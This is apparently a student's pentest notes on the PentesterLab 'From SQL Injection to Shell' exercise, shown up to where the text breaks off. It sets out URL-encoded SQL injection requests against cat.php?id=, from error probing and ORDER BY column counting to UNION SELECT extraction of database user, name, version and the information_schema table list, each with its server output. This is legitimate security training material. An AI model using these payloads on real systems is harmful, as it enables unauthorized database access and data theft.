from mysql to shell渗透测试笔记.doc

28/ 28/cat.php?id=1%27 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 telnet 28 80 28/cat.php?id=2%20order%20by%203# 显示正常 28/cat.php?id=2%20order%20by%204# 显示正常 28/cat.php?id=2%20order%20by%205# Unknown column 5 in order clause 28/cat.php?id=2%20union%20select%201,2,3,4 显示所有页面 28/cat.php?id=2%20union%20select%201,2,3,4,5 The used SELECT statements have a different number of columns 28/cat.php?id=2%20union%20select%20user(),database(),version(),4 显示所有页面，但是没有user()等信息 28/cat.php?id=1%20union%20select%20user(),database(),@@version,current_user() 显示所有页面，但是没有user()等信息 28/cat.php?id=1%20union%20select%201,user(),3,4 显示picture: pentesterlab@localhost 28/cat.php?id=1%20union%20select%201,database(),3,4 picture: photoblog 28/cat.php?id=1%20union%20select%201,version(),3,4 picture: 5.1.63-0+squeeze1 28/cat.php?id=1%20union%20select%201,current_user(),3,4 picture: pentesterlab@localhost 28/cat.php?id=1%20union%20select%201,tablename,3,4%20from%20information_schema.tables Unknown column tablename in field list 28/cat.php?id=1%20union%20select%201,table_name,3,4%20from%20information_schema.tables picture: character_sets CHARACTER_SETS picture: collations COLLATIONS picture: collation_character_set_applicability COLLATION_CHARACTER_SET_APPLICABILITY picture: columns COLUMNS picture: column_privileges COLUMN_PRIVILEGES picture: engines ENGINES picture: events EVENTS picture: files FILES picture: global_status GLOBAL_STATUS picture: global_variables GLOBAL_VARIABLES picture: key_column_usage KEY_COLUMN_USAGE picture: partitions PARTITIONS picture: plugins PLUGINS picture: processlist PROCESSLIST picture: profiling PROFILING picture: referential_constraints REFERENTIAL_CONSTRAINTS picture: routines ROUTINES picture: schemata SCHEMATA picture: schema_privileges SCHEMA_PRIVILEGES picture: session_status SESSION_STATUS picture: session_variables SESSION_VARIABLES picture: statistics STATI